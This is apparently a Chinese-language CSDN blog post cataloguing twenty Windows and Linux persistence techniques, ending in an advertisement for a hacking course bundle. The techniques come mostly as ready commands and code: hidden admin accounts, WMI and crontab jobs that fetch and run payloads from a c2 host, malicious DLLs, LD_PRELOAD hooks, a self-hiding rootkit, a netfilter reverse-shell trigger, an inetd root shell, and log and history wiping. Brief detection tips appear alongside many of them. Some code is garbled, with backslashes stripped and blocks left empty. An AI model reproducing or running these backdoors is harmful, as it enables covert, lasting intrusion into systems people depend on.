红队必杀技:20种APT级权限维持手法全解剖!从零基础到精通,收藏这个就够了!


在网络安全的世界里,红队就像一群身怀绝技的“特工”,他们的目标是攻破系统,而权限维持则是他们成功潜伏的关键一步。想象一下,辛辛苦苦打下的“江山”,一重启就没了,岂不是白忙活一场?所以,红队必须掌握各种“不死”后门技术,确保即使系统重启、用户密码更改,甚至管理员亲自出手,也能牢牢控制住目标。

Windows和Linux权限维持技术,说白了就是一场“猫鼠游戏”。 红队想方设法在系统里留下“记号”,而蓝队则要擦除这些痕迹。这场游戏的精髓在于:

1. 信任?不存在的!
红队会疯狂利用系统自带的“信任”机制,比如Windows的注册表、计划任务,Linux的crontab、systemd服务等。这些都是系统正常运行所必需的组件,攻击者巧妙地将恶意代码隐藏其中,让系统误以为是“自己人”,从而躲过安全软件的检测,简直是“灯下黑”的完美诠释!

2. “寄生兽”的生存之道
红队还会像“寄生兽”一样,将恶意代码注入到系统进程中,或者干脆修改内核模块,让后门与系统融为一体。更骚的是,他们还会篡改日志、禁用安全工具,甚至使用多重加密通信,让蓝队根本摸不着头脑,只能眼睁睁看着他们为所欲为。

3. 多重保险,永不翻车
为了防止被一锅端,红队会建立多条“生命线”。一旦某个后门失效,他们还可以通过其他路径重新控制系统,就像玩游戏时存档一样,确保永远不会“Game Over”。

总而言之,权限维持的本质就是:红队攻破系统后,把自己变成系统的一部分,利用系统的“漏洞”和管理员的“信任”,实现持久潜伏,搞事情!

Windows权限维持技术(10种):

1. 注册表“变脸术”:克隆一个你看不见的管理员!

技术原理
通过修改SAM数据库注册表项,复制管理员的“身份证”(SID),创建一个隐形账户。这个账户拥有管理员的权限,但却不会出现在用户管理界面上,简直是“狸猫换太子”的升级版!

实操步骤

# 创建一个名为“DefaultAccount$”的隐藏账户,密码?不存在的!
New-LocalUser "DefaultAccount$" -NoPassword -Description "System default account"

# 获取目标管理员的“身份证”(SID)
$targetUser = Get-WmiObject Win32_UserAccount -Filter "Name='Administrator'"
$cloneSID = $targetUser.SID

# 克隆注册表配置单元,就像复制DNA一样!
reg save HKLMSAM SAM_backup.hiv
reg load HKLMSAM_CLONE SAM_backup.hiv
$sourcePath = "SAM_CLONEDomainsAccountUsers001F4"
$destPath = "SAMSAMDomainsAccountUsers003F2"
reg copy "HKLM$sourcePath" "HKLM$destPath" /s /f

# 关联用户密钥,让克隆账户拥有管理员的“灵魂”
$user = Get-LocalUser -Name "DefaultAccount$"
$userPath = "HKLM:SAMSAMDomainsAccountUsers{0:x8}" -f [int]$user.SID.Value.Split("-")[-1]
Set-ItemProperty -Path $userPath -Name "F" -Value (Get-ItemProperty -Path "HKLM:$sourcePath").F

检测方法

  • 用Autoruns扫描注册表HKLMSAMSAMDomainsAccountUsers,看看有没有“不速之客”。
  • 对比net user命令和注册表用户列表,看看有没有“失踪人口”。
  • 执行PowerShell命令:Get-WmiObject Win32_UserAccount | ?{$_.Name -match '$$'},揪出那些名字里带“$”的隐藏账户。

2. WMI“定时炸弹”:系统一有风吹草动,我就搞事情!

技术原理
利用WMI事件订阅机制,创建一个永久性的“定时炸弹”。当系统发生特定事件时(比如磁盘空间不足),就会自动执行恶意代码,简直是“守株待兔”的完美战术!

完整实现

# 创建一个事件过滤器,监控磁盘空间
$filterArgs = @{
    EventNamespace = 'root/cimv2'
    Name = 'DiskSpaceMonitor'
    Query = "SELECT * FROM __InstanceModificationEvent WHERE TargetInstance ISA 'Win32_LogicalDisk' AND TargetInstance.FreeSpace < 1073741824"
    QueryLanguage = 'WQL'
}
$filter = Set-WmiInstance -Class __EventFilter -Arguments $filterArgs

# 创建一个活动脚本消费者,当磁盘空间不足时,执行恶意代码
$consumerArgs = @{
    Name = 'DiskCleaner'
    ScriptingEngine = 'VBScript'
    ScriptText = 'CreateObject("WScript.Shell").Run "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://c2/payload'')", 0'
}
$consumer = Set-WmiInstance -Class ActiveScriptEventConsumer -Arguments $consumerArgs

# 绑定过滤器和消费者,让“定时炸弹”生效
$bindingArgs = @{
    Filter = $filter
    Consumer = $consumer
}
Set-WmiInstance -Class __FilterToConsumerBinding -Arguments $bindingArgs

防御方案

  • 监控WMI活动日志(事件ID 5861),看看有没有“异常活动”。
  • 定期检查rootsubscription命名空间,揪出那些“可疑分子”:

    powershell Get-WmiObject -Namespace rootsubscription -Class __EventFilter Get-WmiObject -Namespace rootsubscription -Class __EventConsumer
    * 使用Sysmon监控WMI事件(配置规则ID 19-21),让“坏人”无处遁形。

3. 服务“李代桃僵”:DLL劫持,瞒天过海!

技术原理
修改服务注册表项的ImagePath参数,将合法服务指向恶意DLL,利用服务启动机制加载后门。这种方法就像“李代桃僵”,用恶意DLL替换掉合法的DLL,从而控制整个服务。

分步实施

  1. 找到那些没有验证DLL路径的服务:

    powershell Get-WmiObject Win32_Service | Where-Object { $_.PathName -match 'svchost|dllhost' } | Select-Object Name, PathName
    2. 修改服务配置,让它加载恶意DLL:

    powershell sc config VSS binPath= "C:WindowsSystem32svchost.exe -k netsvcs -p /malicious.dll"
    3. 创建一个恶意DLL,并在其中埋下后门:

    ```c
    // maldll.c

    include

    BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
    if (reason == DLL_PROCESS_ATTACH) {
    WinExec("cmd.exe /c powershell -ep bypass -enc BASE64_PAYLOAD", SW_HIDE);
    }
    return TRUE;
    }
    ```

检测手段

  • 使用Process Explorer检查服务DLL签名,看看有没有“冒牌货”。
  • 对比服务配置基线,看看有没有“改头换面”:

    powershell Get-WmiObject Win32_Service | Export-Csv services_baseline.csv

4. CLR“釜底抽薪”:劫持.NET Framework,控制所有.NET应用!

技术原理
篡改.NET Framework全局配置文件,强制加载恶意程序集到所有.NET应用。这种方法就像“釜底抽薪”,一旦成功,就可以控制所有使用.NET Framework的应用程序。

详细步骤

  1. 找到machine.config文件:

    %windir%Microsoft.NETFramework644.0.30319Configmachine.config
    2. 插入恶意程序集绑定,让系统加载恶意DLL:

    xml <configuration> <runtime> <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1"> <dependentAssembly> <assemblyIdentity name="System.Web" publicKeyToken="b03f5f7f11d50a3a"/> <codeBase version="4.0.0.0" href="http://malicious.c2/evil.dll"/> </dependentAssembly> </assemblyBinding> </runtime> </configuration>
    3. 生成符合强名称签名的恶意DLL:

    ```powershell
    $key = [System.Reflection.StrongNameKeyPair]::New((Get-Content evil.snk -Encoding Byte))

    ```

检测方案

  • 启用Fusion日志查看程序集加载,看看有没有“不明来历”的程序集:

    ```powershell

    ```
    * 使用.NET Assembly Binding Log Viewer(fuslogvw.exe),分析程序集加载日志。

5. 计划任务“障眼法”:XML混淆,让你眼花缭乱!

技术原理
利用任务计划程序支持Unicode控制字符的特性,创建隐蔽任务。这种方法就像“障眼法”,通过混淆任务名称和描述,让管理员难以发现恶意任务。

高级实现

# 创建一个带有RLO控制字符的任务名,让你傻傻分不清楚
$taskName = "MicrosoftEdgeUpdate" + [char]0x202E + "exe.tmp"
$xmlContent = @"
<?xml version="1.0"?>
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <URI>$taskName</URI>
  </RegistrationInfo>
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
    </LogonTrigger>
  </Triggers>
  <Actions>
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-enc BASE64_PAYLOAD</Arguments>
    </Exec>
  </Actions>
</Task>
"@

# 注册隐藏任务,让它在后台偷偷运行
$xmlContent | Out-File malware.xml
schtasks /Create /XML malware.xml /TN "MicrosoftWindowsUpdateEdgeUpdate"

检测技术

  • 使用PowerShell解析任务计划,看看有没有“披着羊皮的狼”:

    powershell Get-ScheduledTask | ForEach-Object { [System.Text.Encoding]::Unicode.GetString([System.Text.Encoding]::ASCII.GetBytes($_.TaskName)) }
    * 检查任务XML文件中的Unicode控制字符,揪出那些“伪装者”。

6. 辅助功能“偷梁换柱”:锁屏?不存在的!

原理:替换Utilman.exe,实现锁屏绕过,直接进入系统!
步骤

takeown /f %windir%System32Utilman.exe
icacls Utilman.exe /grant Administrators:F
copy C:Tempcmd.exe Utilman.exe

检测:校验系统文件哈希值,看看有没有被篡改。

7. 动态端口“乾坤大挪移”:端口转发,神不知鬼不觉!

原理:使用Netsh创建端口镜像,将流量转发到攻击者的服务器。
命令

netsh interface portproxy add v4tov4 listenport=443 connectaddress=10.0.0.5 connectport=4444

检测netsh interface portproxy show all,看看有没有“可疑”的端口转发规则。

8. 注册表启动项“狸猫换太子”:伪装成系统进程,瞒天过海!

原理:在注册表Run键使用系统进程名,让恶意程序看起来像系统的一部分。
示例

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun]
"SecurityHealth"=hex(2):25,00,77,00,69,00,6e,00,64,00,69,00,72,00,25,00,5c,00,6d,\n 00,61,00,6c,00,77,00,61,00,72,00,65,00,2e,00,65,00,78,00,65,00,00,00

9. 可信目录“浑水摸鱼”:DLL劫持,再次上演!

原理:利用Windows DLL搜索顺序,将恶意DLL放到应用目录,让它优先被加载。
技术点

  • 将恶意DLL命名为version.dll,放到应用目录。
  • 劫持LoadLibrary调用,让系统加载恶意DLL。

10. 服务控制管理器“移花接木”:Hook services.exe,控制所有服务!

原理:Hook services.exe进程内存,劫持服务启动流程,实现对所有服务的控制。
实现

  • 使用Process Hollowing技术注入恶意代码。
  • 劫持服务启动流程,让恶意代码在服务启动时执行。

Linux权限维持技术(10种):

1. SSH“暗度陈仓”:软链接后门,让你防不胜防!

技术原理
通过符号链接劫持authorized_keys文件,实现隐蔽SSH访问。这种方法就像“暗度陈仓”,攻击者可以偷偷地添加自己的公钥,从而无需密码即可登录系统。

详细步骤

# 创建一个隐藏的密钥文件
mkdir -p /dev/shm/.ssh
ssh-keygen -t ed25519 -f /dev/shm/.ssh/backdoor_key -N ""

# 设置符号链接,将authorized_keys文件指向恶意密钥文件
ln -sf /dev/shm/.ssh/backdoor_key.pub /root/.ssh/authorized_keys

# 锁定文件属性,防止被修改
chattr +i /root/.ssh/authorized_keys

检测方法

  • 检查inode链接情况,看看authorized_keys文件是不是“身不由己”:

    bash ls -li /root/.ssh/authorized_keys stat -c "%N" /root/.ssh/authorized_keys
    * 使用find查找异常符号链接,揪出那些“幕后黑手”:

    bash find / -type l -exec ls -l {} ; | grep 'ssh'

2. systemd“隐身术”:服务隐身,让你无从查起!

技术原理
创建以.开头的服务文件实现服务隐藏,并配置自动重启。这种方法就像“隐身术”,让恶意服务在后台偷偷运行,难以被发现。

完整实现

  1. 创建一个恶意服务文件:

    ```

    /etc/systemd/system/.networkd.service

    [Unit]
    Description=Network Management Daemon
    After=network.target

    [Service]
    Type=simple
    ExecStart=/bin/bash -c "while true; do /tmp/.reverse_shell -t 3600; done"
    Restart=always
    RestartSec=30s
    OOMScoreAdjust=-1000

    [Install]
    WantedBy=multi-user.target
    ```
    2. 重载并启动服务:

    bash systemctl daemon-reload systemctl enable --now .networkd.service

检测技巧

  • 显示所有服务单元,看看有没有“漏网之鱼”:

    bash systemctl list-unit-files --all | grep 'service'
    * 检查服务文件创建时间,看看有没有“新面孔”:

    bash find /etc/systemd/system -type f -name ".*" -exec stat -c "%n %y" {} ;

3. 动态链接库“狸猫换太子”:预加载,控制系统函数!

技术原理
通过LD_PRELOAD环境变量注入恶意共享库,劫持关键系统函数。这种方法就像“狸猫换太子”,用恶意库替换掉合法的库,从而控制系统函数。

分步实施

  1. 编写恶意库:

    ```c
    // evil_lib.c

    include

    include

    include

    // 劫持geteuid函数
    uid_t geteuid() {
    static uid_t (original_geteuid)();
    original_geteuid = dlsym(RTLD_NEXT, "geteuid");
    system("nohup /tmp/.backdoor >/dev/null 2>&1 &");
    return original_geteuid();
    }
    ```
    2.
    编译并部署:*

    bash gcc -shared -fPIC -o evil_lib.so evil_lib.c -ldl mv evil_lib.so /usr/lib/x86_64-linux-gnu/.libcrypto.so.1.1
    3. 设置全局预加载:

    bash echo "/usr/lib/x86_64-linux-gnu/.libcrypto.so.1.1" > /etc/ld.so.preload

防御方案

  • 检查预加载配置,看看有没有“不速之客”:

    bash cat /etc/ld.so.preload
    * 使用strace跟踪进程,看看有没有加载“可疑”的库:

    bash strace -e openat,fstat,execve -f -p PID

4. 内核模块“金蝉脱壳”:Rootkit,让你看不到我!

技术原理
加载自定义内核模块实现进程、文件、网络连接的隐藏。这种方法就像“金蝉脱壳”,让恶意模块在内核中运行,从而实现对系统的高度控制。

模块代码片段

// hide_module.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/list.h>

extern struct list_head *prev_module;

static int __init rootkit_init(void) {
    list_del_init(&THIS_MODULE->list); // 从模块列表删除
    kobject_del(&THIS_MODULE->mkobj.kobj); // 删除sysfs入口
    return 0;
}

static void __exit rootkit_exit(void) {
    list_add(&THIS_MODULE->list, prev_module);
}

module_init(rootkit_init);
module_exit(rootkit_exit);

隐蔽加载

insmod hide_module.ko
dmesg -C
rmmod hide_module

检测方法

  • 使用SystemTap检测隐藏模块,看看有没有“漏网之鱼”:

    bash stap -e 'probe kernel.function("module_load") { printf("%s ", execname()) }'
    * 对比/proc/modules与sysfs数据,看看有没有“失踪人口”:

    bash lsmod | awk '{print $1}' | sort > /tmp/lsmod.list find /sys/module/ -maxdepth 1 -type d | cut -d/ -f4 | sort > /tmp/sysmod.list diff /tmp/lsmod.list /tmp/sysmod.list

5. TCP协议栈“暗度陈仓”:TCP后门,让你防不胜防!

技术原理
通过内核模块劫持网络数据包处理流程,建立隐蔽通信通道。这种方法就像“暗度陈仓”,攻击者可以在不引起注意的情况下,与目标系统进行通信。

关键代码

// tcp_backdoor.c
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

unsigned int hook_func(void *priv, struct sk_buff *skb,
                        const struct nf_hook_state *state) {
    struct iphdr *iph = ip_hdr(skb);
    if (iph->protocol == IPPROTO_TCP) {
        struct tcphdr *tcph = tcp_hdr(skb);
        if (tcph->dest == htons(6666)) { // 监听特殊端口
            // 触发反向Shell
            char *argv[] = { "/bin/bash", "-c", "/tmp/.reverse_shell", NULL };
            call_usermodehelper(argv[0], argv, NULL, UMH_WAIT_PROC);
        }
    }
    return NF_ACCEPT;
}

static int __init mod_init(void) {
    nfho.hook = hook_func;
    nfho.pf = PF_INET;
    nfho.hooknum = NF_INET_PRE_ROUTING;
    nfho.priority = NF_IP_PRI_FIRST;
    nf_register_net_hook(&init_net, &nfho);
    return 0;
}

检测方案

  • 使用netfilter hook检测工具,看看有没有“不速之客”:

    bash cat /proc/kallsyms | grep nf_hook
    * 监控异常内核模块加载,揪出那些“幕后黑手”:

    bash auditctl -w /sbin/insmod -p x -k kernel_module

6. crontab“乾坤大挪移”:时间混淆,让你摸不着头脑!

原理:随机化执行时间,规避检测,让管理员难以预测。
实现

RAND_H=$(shuf -i 0-23 -n1)
RAND_M=$(shuf -i 0-59 -n1)
(crontab -l; echo "$RAND_M $RAND_H * * * curl http://c2/p.sh | sh") | crontab -

7. inetd“超级后门”:利用传统守护进程,加载恶意代码!

原理:利用传统网络守护进程加载后门,让攻击者可以随时随地连接到目标系统。
配置

echo "6666 stream tcp nowait root /bin/bash bash -i" >> /etc/inetd.conf killall -HUP inetd

8. 文件系统“时间旅行”:时间回溯,让你以为是旧文件!

原理:修改文件时间戳,伪装成旧文件,让管理员难以发现。
命令

touch -d "2020-01-01 12:00:00" /usr/bin/.sshd

9. Bash历史记录“一键清除”:篡改历史记录,抹去痕迹!

原理:劫持PROMPT_COMMAND,清除操作痕迹,让管理员无从查起。
配置

echo 'export PROMPT_COMMAND="history -d $(history 1 | awk '{print $1}')"' >> /etc/bash.bashrc

10. 内存马“灵魂注入”:ptrace注入,控制关键进程!

原理:通过ptrace注入Shellcode到关键进程,实现对进程的控制。
工具

  • 使用MemInject工具注入到sshd进程。
  • 配置共享内存段,隐藏后门,让管理员难以发现。

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值